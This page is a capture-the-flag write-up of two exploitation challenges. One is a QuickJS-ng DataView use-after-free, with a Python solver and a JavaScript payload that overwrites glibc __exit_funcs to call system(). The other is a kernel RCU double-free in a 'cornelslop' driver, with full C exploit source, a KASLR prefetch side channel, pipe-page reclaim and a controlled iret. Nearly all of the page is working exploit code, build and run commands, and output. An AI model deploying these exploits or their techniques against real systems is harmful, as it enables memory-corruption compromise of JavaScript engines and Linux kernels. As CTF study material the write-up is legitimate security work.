Skip to content

Pwn

Created

Updated

15 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

QuickJS-ng DataView refcount UAF to __exit_funcs

Event NameC2C 2026 Quals
GitHub URL-
Challenge Namelightspeed
Attachments
solve.py
#!/usr/bin/env python3
import argparse
import re
import socket
import sys
import time

HARD_LIMIT = 8192
FLAG_RE = re.compile(rb"[A-Za-z0-9_]{2,}\{[^}\n]+\}")


def recv_until(sock: socket.socket, needle: bytes, timeout=5.0) -> bytes:
    sock.settimeout(timeout)
    data = b""
    while needle not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
        if len(data) > 1 << 20:
            break
    return data


def extract_flag(data: bytes) -> str | None:
    match = FLAG_RE.search(data)
    if match:
        return match.group().decode()
    return None


def main():
    ap = argparse.ArgumentParser(description="lightspeed solver")
    ap.add_argument("--host", required=True)
    ap.add_argument("--port", required=True, type=int)
    ap.add_argument("--js", default="exploit.js", help="path to exploit.js")
    ap.add_argument(
        "--delay",
        type=float,
        default=0.35,
        help="delay between length line and payload (run.py buffering workaround)",
    )
    ap.add_argument("--timeout", type=float, default=10.0)
    ap.add_argument(
        "--attempts",
        type=int,
        default=20,
        help="number of exploit attempts before giving up",
    )
    ap.add_argument(
        "--retry-delay",
        type=float,
        default=0.0,
        help="sleep between attempts",
    )
    ap.add_argument(
        "--verbose",
        action="store_true",
        help="print per-attempt output instead of only the final flag",
    )
    args = ap.parse_args()

    payload = open(args.js, "rb").read()
    if len(payload) > HARD_LIMIT:
        raise SystemExit(f"payload too large: {len(payload)} > {HARD_LIMIT}")

    if args.attempts < 1:
        raise SystemExit("--attempts must be at least 1")

    last_output = b""
    last_error = ""
    for attempt in range(1, args.attempts + 1):
        try:
            with socket.create_connection((args.host, args.port), timeout=args.timeout) as s:
                banner = recv_until(s, b": ", timeout=args.timeout)
                if args.verbose:
                    sys.stdout.buffer.write(banner)
                    sys.stdout.buffer.flush()

                s.sendall(str(len(payload)).encode() + b"\n")
                # IMPORTANT: run.py mixes text readline() + buffer.read(); send in 2 phases.
                time.sleep(args.delay)
                s.sendall(payload)

                s.shutdown(socket.SHUT_WR)
                s.settimeout(args.timeout)
                out = b""
                while True:
                    try:
                        chunk = s.recv(4096)
                    except socket.timeout:
                        break
                    if not chunk:
                        break
                    out += chunk
        except Exception as exc:
            last_error = str(exc)
            if attempt == args.attempts:
                raise SystemExit(f"attempt {attempt}/{args.attempts} failed: {exc}")
            continue

        last_output = out
        flag = extract_flag(out)
        if args.verbose:
            sys.stdout.buffer.write(out)
            sys.stdout.buffer.flush()
        if flag:
            if not args.verbose:
                print(flag)
            return

        if attempt == args.attempts:
            if last_output:
                sys.stderr.buffer.write(last_output)
                sys.stderr.buffer.flush()
            elif last_error:
                print(last_error, file=sys.stderr)
            raise SystemExit(f"flag not found after {args.attempts} attempts")

        if args.retry_delay:
            time.sleep(args.retry_delay)


if __name__ == "__main__":
    main()
References

  • Root cause: js_dataview_constructor stores the backing ArrayBuffer pointer without js_dup(buffer), so the DataView does not own a refcount on the buffer object and can outlive a freed/reclaimed JSArrayBuffer.
  • Final exploit chain: reclaim freed JSArrayBuffer state with a typed-array-backed object, pivot the DataView into arbitrary read/write, leak PIE from js_array_buffer_free, leak libc from malloc@GOT, recover pointer_guard from AT_RANDOM, then overwrite __exit_funcs[0] with mangled system("/app/getflag").
  • Environment caveats: the working offsets target Debian glibc 2.41; the exploit is probabilistic and often fails at the Stage 0b detached-check bypass before succeeding on retry.
  • Local validation: rebuilt challenge/Dockerfile with a local placeholder getflag and confirmed python3 solve.py --host 127.0.0.1 --port 5003 --js exploit_aslr_final.js --delay 0.35 --attempts 10 returns FAKE{local_test_flag} from a clean build on March 9, 2026.
  • Remote status: challenges.1pc.tf:29786 timed out on March 9, 2026, but the same payload previously recovered the real challenge flag.
why it is vulnerable
// quickjs.c / js_dataview_constructor
p = JS_VALUE_GET_OBJ(obj);
ta->obj = p;
// BUG: the DataView keeps the JSArrayBuffer pointer without bumping its refcount.
// When the original JSValue dies, the JSArrayBuffer can be freed and later reclaimed.
ta->buffer = JS_VALUE_GET_OBJ(buffer);
exploit payload
function rol64(x, r){
  r = BigInt(r & 63);
  return ((x << r) | (x >> (64n - r))) & 0xffffffffffffffffn;
}
function assert(c){ if(!c) throw 1; }
let back = new ArrayBuffer(0x2000);
let ab = new ArrayBuffer(0x100);
let dv = new DataView(ab);
const N = 0x800;
let views = new Array(N);
ab = null;
for(let i=0;i<N;i++) views[i] = new Uint8Array(back);
let ta1 = dv.buffer;
let idx = -1;
for(let i=0;i<N;i++) if(views[i] === ta1){ idx = i; break; }
assert(idx !== -1);
let good = null;
for(let i=idx+1;i<N;i++){
  try { dv.getUint8(0); good = views[i]; break; } catch(e) {}
  views[i] = null;
}
assert(good !== null);
for(let i=0;i<N;i++) if(i!==idx && views[i] !== good) views[i] = null;
views = null;
function leak64(off){ return dv.getBigUint64(off, true); }
function poke64(off, v){ dv.setBigUint64(off, v, true); }
let ta1_struct = leak64(0x30);
let back_data  = leak64(0x38);
let dv_back = new DataView(back);
dv_back.setUint32(0x00, 0x10000, true);
dv_back.setUint32(0x04, 0x10000, true);
dv_back.setUint8(0x08, 0);
dv_back.setBigUint64(0x10, 0n, true);
poke64(0x30, back_data);
function set_data_ptr(p){ dv_back.setBigUint64(0x10, p, true); }
function aar64(addr){ set_data_ptr(addr); return dv.getBigUint64(0, true); }
function aaw64(addr, val){ set_data_ptr(addr); dv.setBigUint64(0, val, true); }
let ta1_obj = aar64(ta1_struct + 0x10n);
const QJS_JS_ARRAY_BUFFER_FREE = 0x1b060n;
const QJS_MALLOC_GOT = 0x129d90n;
const LIBC_MALLOC_OFF  = 0x0a2b50n;
const LIBC_SYSTEM_OFF  = 0x053110n;
const LIBC_ENVIRON_OFF = 0x1ede28n;
const LIBC_EXIT_FUNCS_OFF = 0x1e6680n;
let code_ptr = aar64(ta1_struct + 0x30n);
if(code_ptr < 0x10000n) throw 4;
if(aar64(code_ptr) !== 0x8948534374d28548n) throw 5;
let qjs_base = code_ptr - QJS_JS_ARRAY_BUFFER_FREE;
let malloc_ptr = aar64(qjs_base + QJS_MALLOC_GOT);
let libc_base = malloc_ptr - LIBC_MALLOC_OFF;
let SYSTEM = libc_base + LIBC_SYSTEM_OFF;
let ENVIRON = libc_base + LIBC_ENVIRON_OFF;
let EXIT_FUNCS = libc_base + LIBC_EXIT_FUNCS_OFF;
function get_ptr_guard(){
  let envp = aar64(ENVIRON);
  let p = envp;
  while(aar64(p) !== 0n) p += 8n;
  p += 8n;
  for(;;){
    let t = aar64(p);
    let v = aar64(p + 8n);
    if(t === 0n) break;
    if(t === 25n) return aar64(v + 8n);
    p += 16n;
  }
  throw 2;
}
let guard = get_ptr_guard();
let mangled_system = rol64(SYSTEM ^ guard, 0x11);
let exit_list = aar64(EXIT_FUNCS);
let entry0 = exit_list + 0x10n;
let cmd_addr = exit_list + 0x300n;
aaw64(exit_list + 0x8n, 1n);
set_data_ptr(cmd_addr);
let cmd = '/app/getflag\0';
for(let i=0;i<cmd.length;i++) dv.setUint8(i, cmd.charCodeAt(i));
aaw64(entry0 + 0x0n, 4n);
aaw64(entry0 + 0x8n, mangled_system);
aaw64(entry0 + 0x10n, cmd_addr);
set_data_ptr(ta1_obj);
dv.setBigUint64(0x30, ta1_struct, true);
solver
docker build -t lightspeed-repro:latest challenge
docker run -d --rm --name lightspeed-repro-run -p 127.0.0.1:5003:5000 lightspeed-repro:latest
python3 solve.py --host 127.0.0.1 --port 5003 --js exploit_aslr_final.js --delay 0.35 --attempts 10
# remote command used previously when the service was online
python3 solve.py --host challenges.1pc.tf --port 29786 --js exploit_aslr_final.js --delay 0.35 --attempts 20

cornelslop kernel RCU double-queue to pipe-page reclaim

Event NameDiceCTF Quals 2026
Source URL-
Challenge Namecornelslop
Attachments
exploit.c
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define ADD_ENTRY 0xcafebabe
#define DEL_ENTRY 0xdeadbabe
#define CHECK_ENTRY 0xbeefbabe

#define CPU_CHECK 0
#define CPU_SHAPE 1
#define CPU_NOISE 2
#define CPU_RECLAIM 3

#define BIG_LEN (256UL << 20)
#define SMALL_LEN 0x1000UL

#define CACHE_SIZE 56
#define ROUNDS1 5
#define ROUNDS2 4
#define HOLD_COUNT (CACHE_SIZE * 2)

#define PIPE_COUNT 0x700

#define BRUH 0x10017ffULL

#define KERNEL_LOWER_BOUND 0xffffffff80000000ULL
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ULL
#define STEP_KERNEL 0x200000ULL
#define ARR_SIZE_KERNEL ((KERNEL_UPPER_BOUND - KERNEL_LOWER_BOUND) / STEP_KERNEL)
#define DUMMY_ITERATIONS 10
#define ITERATIONS 10000

#define FW_CFG_PORT_SEL 0x510
#define FW_CFG_PORT_DATA 0x511
#define FW_CFG_INITRD_DATA 0x12
#define INITRD_DUMP_SIZE (4 * 1024 * 1024)

struct cornelslop_user_entry {
    uint32_t id;
    uint64_t va_start;
    uint64_t va_end;
    uint8_t corrupted;
};

static int devfd = -1;
static uint32_t ids[HOLD_COUNT];
static volatile unsigned char *sem_page;
static unsigned char *initrd_buf;
static unsigned char *iret_stack;

static void die(const char *msg)
{
    perror(msg);
    exit(1);
}

static void pin_cpu(int cpu)
{
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    if (sched_setaffinity(0, sizeof(set), &set) != 0)
        die("sched_setaffinity");
}

static void msleep(unsigned int ms)
{
    struct timespec ts = {
        .tv_sec = ms / 1000,
        .tv_nsec = (long)(ms % 1000) * 1000000L,
    };

    if (nanosleep(&ts, NULL) != 0)
        die("nanosleep");
}

static long do_ioctl(unsigned long cmd, struct cornelslop_user_entry *entry)
{
    long ret = ioctl(devfd, cmd, entry);

    if (ret < 0)
        return -errno;
    return ret;
}

static void *map_region(size_t size, unsigned char fill)
{
    void *addr = mmap(NULL, size, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);

    if (addr == MAP_FAILED)
        die("mmap");
    memset(addr, fill, size);
    return addr;
}

static void raise_nofile_limit(void)
{
    struct rlimit rl;

    if (getrlimit(RLIMIT_NOFILE, &rl) != 0)
        die("getrlimit");

    rl.rlim_cur = rl.rlim_max;
    if (setrlimit(RLIMIT_NOFILE, &rl) != 0)
        die("setrlimit");
}

static int add_entry_retry(struct cornelslop_user_entry *entry)
{
    long ret;

    for (;;) {
        ret = do_ioctl(ADD_ENTRY, entry);
        if (ret == -ENOSPC) {
            msleep(50);
            continue;
        }
        if (ret < 0) {
            fprintf(stderr, "ADD failed: %ld\n", ret);
            exit(1);
        }
        return 0;
    }
}

static void spray_entries(int count)
{
    int i;

    if (count > HOLD_COUNT) {
        fprintf(stderr, "spray count too large: %d\n", count);
        exit(1);
    }

    for (i = 0; i < count; i++) {
        struct cornelslop_user_entry entry = {
            .id = (uint32_t)-1,
            .va_start = (uint64_t)map_region(SMALL_LEN, (unsigned char)('a' + (i % 26))),
            .corrupted = (uint8_t)-1,
        };

        entry.va_end = entry.va_start + SMALL_LEN;
        add_entry_retry(&entry);
        ids[i] = entry.id;
    }
}

static void delete_entries(int count, int cpu)
{
    pid_t pid = fork();
    int i;

    if (pid < 0)
        die("fork delete_entries");

    if (pid == 0) {
        pin_cpu(cpu);
        for (i = 0; i < count; i++) {
            struct cornelslop_user_entry entry = {
                .id = ids[i],
            };
            long ret = do_ioctl(DEL_ENTRY, &entry);

            if (ret < 0) {
                fprintf(stderr, "DEL id=%u failed: %ld\n", ids[i], ret);
                _exit(1);
            }
        }
        _exit(0);
    }

    if (waitpid(pid, NULL, 0) < 0)
        die("waitpid delete_entries");

    msleep(500);
}

static int create_pipes(int (**out_fds)[2])
{
    int (*fds)[2];
    int i;

    fds = calloc(PIPE_COUNT, sizeof(*fds));
    if (!fds)
        die("calloc pipes");

    for (i = 0; i < PIPE_COUNT; i++) {
        if (pipe(fds[i]) != 0)
            die("pipe");
    }

    *out_fds = fds;
    return PIPE_COUNT;
}

static void spray_pipes(int (*fds)[2], int count, const void *payload)
{
    int i;

    pin_cpu(CPU_RECLAIM);

    for (i = 0; i < count; i++) {
        ssize_t n = write(fds[i][1], payload, SMALL_LEN);

        if (n != (ssize_t)SMALL_LEN)
            die("write pipe payload");
    }
}

static uint64_t sidechannel(uint64_t addr)
{
    uint64_t a, b, c, d;

    __asm__ volatile(
        ".intel_syntax noprefix\n"
        "mfence\n"
        "rdtscp\n"
        "mov %0, rax\n"
        "mov %1, rdx\n"
        "xor rax, rax\n"
        "lfence\n"
        "prefetchnta qword ptr [%4]\n"
        "prefetcht2 qword ptr [%4]\n"
        "xor rax, rax\n"
        "lfence\n"
        "rdtscp\n"
        "mov %2, rax\n"
        "mov %3, rdx\n"
        "mfence\n"
        ".att_syntax prefix\n"
        : "=r"(a), "=r"(b), "=r"(c), "=r"(d)
        : "r"(addr)
        : "rax", "rbx", "rcx", "rdx");

    a = (b << 32) | a;
    c = (d << 32) | c;
    return c - a;
}

static uint64_t prefetch_kernel_base(void)
{
    uint64_t *data;
    uint64_t min = ~0ULL;
    uint64_t best = ~0ULL;
    uint64_t idx;
    int iter;

    data = calloc(ARR_SIZE_KERNEL, sizeof(*data));
    if (!data)
        die("calloc prefetch");

    for (iter = 0; iter < ITERATIONS + DUMMY_ITERATIONS; iter++) {
        for (idx = 0; idx < ARR_SIZE_KERNEL; idx++) {
            uint64_t test = KERNEL_LOWER_BOUND + idx * STEP_KERNEL;
            uint64_t time;

            syscall(104);
            time = sidechannel(test);
            if (iter >= DUMMY_ITERATIONS)
                data[idx] += time;
        }
    }

    for (idx = 0; idx < ARR_SIZE_KERNEL; idx++) {
        data[idx] /= ITERATIONS;
        if (data[idx] < min) {
            min = data[idx];
            best = KERNEL_LOWER_BOUND + idx * STEP_KERNEL;
        }
    }

    free(data);
    return best - 0x1000000ULL;
}

static uint64_t get_kernel_base(void)
{
    const char *override = getenv("KBASE_OVERRIDE");
    char *end = NULL;
    uint64_t base;

    if (override && *override) {
        base = strtoull(override, &end, 0);
        if (!end || *end != '\0') {
            fprintf(stderr, "invalid KBASE_OVERRIDE: %s\n", override);
            exit(1);
        }
        return base;
    }

    return prefetch_kernel_base();
}

__attribute__((noinline)) static void win(void)
{
    int i;

    *sem_page = 1;
    outw(FW_CFG_INITRD_DATA, FW_CFG_PORT_SEL);
    for (i = 0; i < INITRD_DUMP_SIZE; i++)
        initrd_buf[i] = inb(FW_CFG_PORT_DATA);

    *sem_page = 2;
    for (;;)
        __asm__ volatile("pause");
}

static void build_pipe_payload(void *page, uint64_t kbase)
{
    size_t off;

    memset(page, 0, SMALL_LEN);

    for (off = 0; off + 0x48 <= SMALL_LEN; off += 0x48) {
        *(uint64_t *)((char *)page + off + 0x00) = (uint64_t)(uintptr_t)&win;
        *(uint64_t *)((char *)page + off + 0x08) = 0x33;
        *(uint64_t *)((char *)page + off + 0x10) = 0x3206;
        *(uint64_t *)((char *)page + off + 0x18) = (uint64_t)(uintptr_t)(iret_stack + SMALL_LEN * 4);
        *(uint64_t *)((char *)page + off + 0x20) = 0x2b;
        *(uint64_t *)((char *)page + off + 0x40) = kbase + BRUH;
    }
}

static int write_and_extract_flag(void)
{
    int fd;

    fd = open("/tmp/initrd.gz", O_CREAT | O_WRONLY | O_TRUNC, 0644);
    if (fd < 0)
        die("open /tmp/initrd.gz");

    if (write(fd, initrd_buf, INITRD_DUMP_SIZE) != INITRD_DUMP_SIZE)
        die("write /tmp/initrd.gz");

    close(fd);
    return system(
        "rm -rf /tmp/initrd-root && mkdir -p /tmp/initrd-root && "
        "gzip -dc /tmp/initrd.gz | (cd /tmp/initrd-root && cpio -id --quiet root/flag.txt) >/dev/null 2>&1 && "
        "cat /tmp/initrd-root/root/flag.txt || "
        "(gzip -d -f /tmp/initrd.gz >/dev/null 2>&1 && grep -aoE 'dice\\{[A-Za-z0-9_:-]+\\}' /tmp/initrd | head -n1)"
    );
}

static unsigned char wait_for_sem(unsigned int timeout_ms)
{
    unsigned int waited = 0;

    while (*sem_page == 0 && waited < timeout_ms) {
        msleep(10);
        waited += 10;
    }

    return *sem_page;
}

static void run_child(struct cornelslop_user_entry *victim)
{
    int i;

    pin_cpu(CPU_RECLAIM);
    if (do_ioctl(DEL_ENTRY, victim) < 0)
        _exit(1);

    pin_cpu(CPU_NOISE);
    for (i = 0; i < HOLD_COUNT; i++) {
        struct cornelslop_user_entry entry = {
            .id = ids[i],
        };

        if (do_ioctl(DEL_ENTRY, &entry) < 0)
            _exit(1);
    }

    for (;;)
        __asm__ volatile("pause");
}

int main(void)
{
    struct cornelslop_user_entry victim = {0};
    void *victim_buf;
    void *payload_page;
    int (*pipes)[2];
    int i;
    long ret;
    pid_t child;
    uint64_t kbase;

    raise_nofile_limit();

    initrd_buf = mmap(NULL, INITRD_DUMP_SIZE, PROT_READ | PROT_WRITE,
                      MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    iret_stack = mmap(NULL, SMALL_LEN * 4, PROT_READ | PROT_WRITE,
                      MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    sem_page = mmap(NULL, SMALL_LEN, PROT_READ | PROT_WRITE,
                    MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    if (initrd_buf == MAP_FAILED || iret_stack == MAP_FAILED || sem_page == MAP_FAILED)
        die("mmap shared");

    kbase = get_kernel_base();
    printf("kernel base = 0x%llx\n", (unsigned long long)kbase);
    fflush(stdout);

    payload_page = mmap(NULL, SMALL_LEN, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    if (payload_page == MAP_FAILED)
        die("mmap payload_page");
    build_pipe_payload(payload_page, kbase);

    create_pipes(&pipes);

    pin_cpu(CPU_CHECK);

    devfd = open("/dev/cornelslop", O_RDONLY);
    if (devfd < 0)
        die("open /dev/cornelslop");

    for (i = 0; i < ROUNDS2; i++) {
        spray_entries(HOLD_COUNT);
        delete_entries(HOLD_COUNT, CPU_NOISE);
        printf("noise round %d/%d complete\n", i + 1, ROUNDS2);
        fflush(stdout);
    }

    victim_buf = map_region(BIG_LEN, 'A');
    victim.va_start = (uint64_t)victim_buf;
    victim.va_end = (uint64_t)victim_buf + BIG_LEN;
    victim.corrupted = (uint8_t)-1;
    add_entry_retry(&victim);

    printf("victim id=%u allocated\n", victim.id);
    fflush(stdout);

    spray_entries(HOLD_COUNT - 1);
    delete_entries(HOLD_COUNT - 1, CPU_SHAPE);
    printf("victim isolation round complete\n");
    fflush(stdout);

    for (i = 0; i < ROUNDS1; i++) {
        spray_entries(HOLD_COUNT);
        delete_entries(HOLD_COUNT, CPU_SHAPE);
        printf("shape round %d/%d complete\n", i + 1, ROUNDS1);
        fflush(stdout);
    }

    pin_cpu(CPU_NOISE);
    spray_entries(HOLD_COUNT);
    pin_cpu(CPU_CHECK);

    printf("hold set ready on cpu %d\n", CPU_NOISE);
    fflush(stdout);

    sleep(1);
    *(volatile unsigned char *)victim_buf = 0x69;
    printf("victim page corrupted\n");
    fflush(stdout);

    child = fork();
    if (child < 0)
        die("fork child");
    if (child == 0)
        run_child(&victim);

    pin_cpu(CPU_CHECK);
    ret = do_ioctl(CHECK_ENTRY, &victim);
    printf("check ret=%ld corrupted=%u\n", ret, victim.corrupted);
    fflush(stdout);

    if (ret < 0 || !victim.corrupted) {
        fprintf(stderr, "victim race failed ret=%ld corrupted=%u\n",
                ret, victim.corrupted);
        return 1;
    }

    spray_pipes(pipes, PIPE_COUNT, payload_page);
    printf("pipe reclaim spray complete\n");
    fflush(stdout);

    printf("waiting for controlled iret\n");
    fflush(stdout);

    ret = wait_for_sem(10000);
    printf("sem stage=%ld\n", ret);
    fflush(stdout);

    if (ret < 1) {
        fprintf(stderr, "iret stage never reached userland\n");
        return 1;
    }

    while (*sem_page < 2)
        msleep(100);

    printf("returned to userland with controlled iret\n");
    fflush(stdout);

    if (write_and_extract_flag() != 0) {
        fprintf(stderr, "failed to extract flag from dumped initrd\n");
        return 1;
    }

    return 0;
}
References

  • Root cause: check_entry() keeps a stale xa_load() result across the SHA256 walk, and on mismatch it calls destruct_entry(e) even if xa_erase() already lost the entry. That queues the same rcu_head twice.
  • Final exploit chain: shape the cornelslop_entry cache across CPUs so the first callback frees the victim into buddy on CPU 3, spray pipe pages on CPU 3 to reclaim the slab page, overwrite rcu.func with the BRUH trampoline plus a controlled iret frame, return to userland, then dump initrd through QEMU fw_cfg and extract root/flag.txt.
  • Local validation: on March 10, 2026, a rerun with nokaslr and KBASE_OVERRIDE=0xffffffff81000000 reached the controlled iret, dumped initrd, and printed dice{test}.
  • Remote validation: on March 10, 2026, the same solver ran on cornelslop.chals.dicec.tf:1337 without KBASE_OVERRIDE, leaked kernel base = 0xffffffff85000000, reached returned to userland with controlled iret, and printed dice{4g3ncy_15_7h3_n3w_1n73ll1g3nc3_1n_7h3_5l0p1n0m1c5_3r4}.
  • Operational caveat: the remote upload helper echoes the full base64 heredoc and can take a few minutes before /tmp/exploit is staged; stripping the binary first reduced the upload size and made the round-trip more tolerable.
  • Environment caveat: local workspace still does not expose KVM, so the leak stage was validated on the remote challenge infrastructure rather than locally.
  • Checkpoint note: KBASE_OVERRIDE lets the reclaim, gadget, and fw_cfg stages be tested independently from the KASLR leak.
why it is vulnerable
// extracted/cornelslop.c
e = xa_load(&cornelslop_xa, ue->id);
// BUG: e stays live across the full SHA256 of up to 256 MiB of user pages.
ret = sha256_va_range(e->va_start, e->va_end, shash);

ue->corrupted = memcmp(e->shash, shash, SHA256_DIGEST_SIZE);

if (ue->corrupted) {
    xa_erase(&cornelslop_xa, ue->id);
    // BUG: the xa_erase() result is ignored, so a concurrent DEL_ENTRY can
    // already have queued the same rcu_head and we queue it a second time here.
    destruct_entry(e);
}
exploit payload
__attribute__((noinline)) static void win(void)
{
    *sem_page = 1;
    outw(FW_CFG_INITRD_DATA, FW_CFG_PORT_SEL);
    for (int i = 0; i < INITRD_DUMP_SIZE; i++)
        initrd_buf[i] = inb(FW_CFG_PORT_DATA);
    *sem_page = 2;
    for (;;)
        __asm__ volatile("pause");
}

static void build_pipe_payload(void *page, uint64_t kbase)
{
    for (size_t off = 0; off + 0x48 <= SMALL_LEN; off += 0x48) {
        *(uint64_t *)((char *)page + off + 0x00) = (uint64_t)(uintptr_t)&win;
        *(uint64_t *)((char *)page + off + 0x08) = 0x33;
        *(uint64_t *)((char *)page + off + 0x10) = 0x3206;
        *(uint64_t *)((char *)page + off + 0x18) = (uint64_t)(uintptr_t)(iret_stack + SMALL_LEN * 4);
        *(uint64_t *)((char *)page + off + 0x20) = 0x2b;
        *(uint64_t *)((char *)page + off + 0x40) = kbase + BRUH;
    }
}

static void run_child(struct cornelslop_user_entry *victim)
{
    pin_cpu(CPU_RECLAIM);
    do_ioctl(DEL_ENTRY, victim);

    pin_cpu(CPU_NOISE);
    for (int i = 0; i < HOLD_COUNT; i++) {
        struct cornelslop_user_entry entry = { .id = ids[i] };
        do_ioctl(DEL_ENTRY, &entry);
    }

    for (;;)
        __asm__ volatile("pause");
}
solver
gcc -Wall -Wextra -O2 -static -no-pie exploit.c -o extracted/initramfs/home/ctf/exploit
(
  cd extracted/initramfs &&
  find . | cpio -o -H newc | gzip -9 > ../dist/initramfs-exploit.cpio.gz
)

# validated local control-flow test
qemu-system-x86_64 -m 4G -smp 4 -nographic \
  -kernel extracted/remote/bzImage \
  -append "console=ttyS0 loglevel=3 panic=-1 oops=panic pti=on no5lvl nokaslr" \
  -no-reboot -cpu max \
  -initrd extracted/dist/initramfs-exploit.cpio.gz \
  -monitor /dev/null

# inside guest
KBASE_OVERRIDE=0xffffffff81000000 ./exploit

# validated remote helper flow on March 10, 2026
strip -s extracted/initramfs/home/ctf/exploit -o /tmp/cornelslop-remote
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 1337 \
  cornelslop@cornelslop.chals.dicec.tf connect \
  $(cat /tmp/cornelslop-remote | ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 1337 cornelslop.chals.dicec.tf upload)

# inside the guest after the upload heredoc finishes
/tmp/exploit

# observed remote output
# kernel base = 0xffffffff85000000
# returned to userland with controlled iret
# dice{4g3ncy_15_7h3_n3w_1n73ll1g3nc3_1n_7h3_5l0p1n0m1c5_3r4}

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.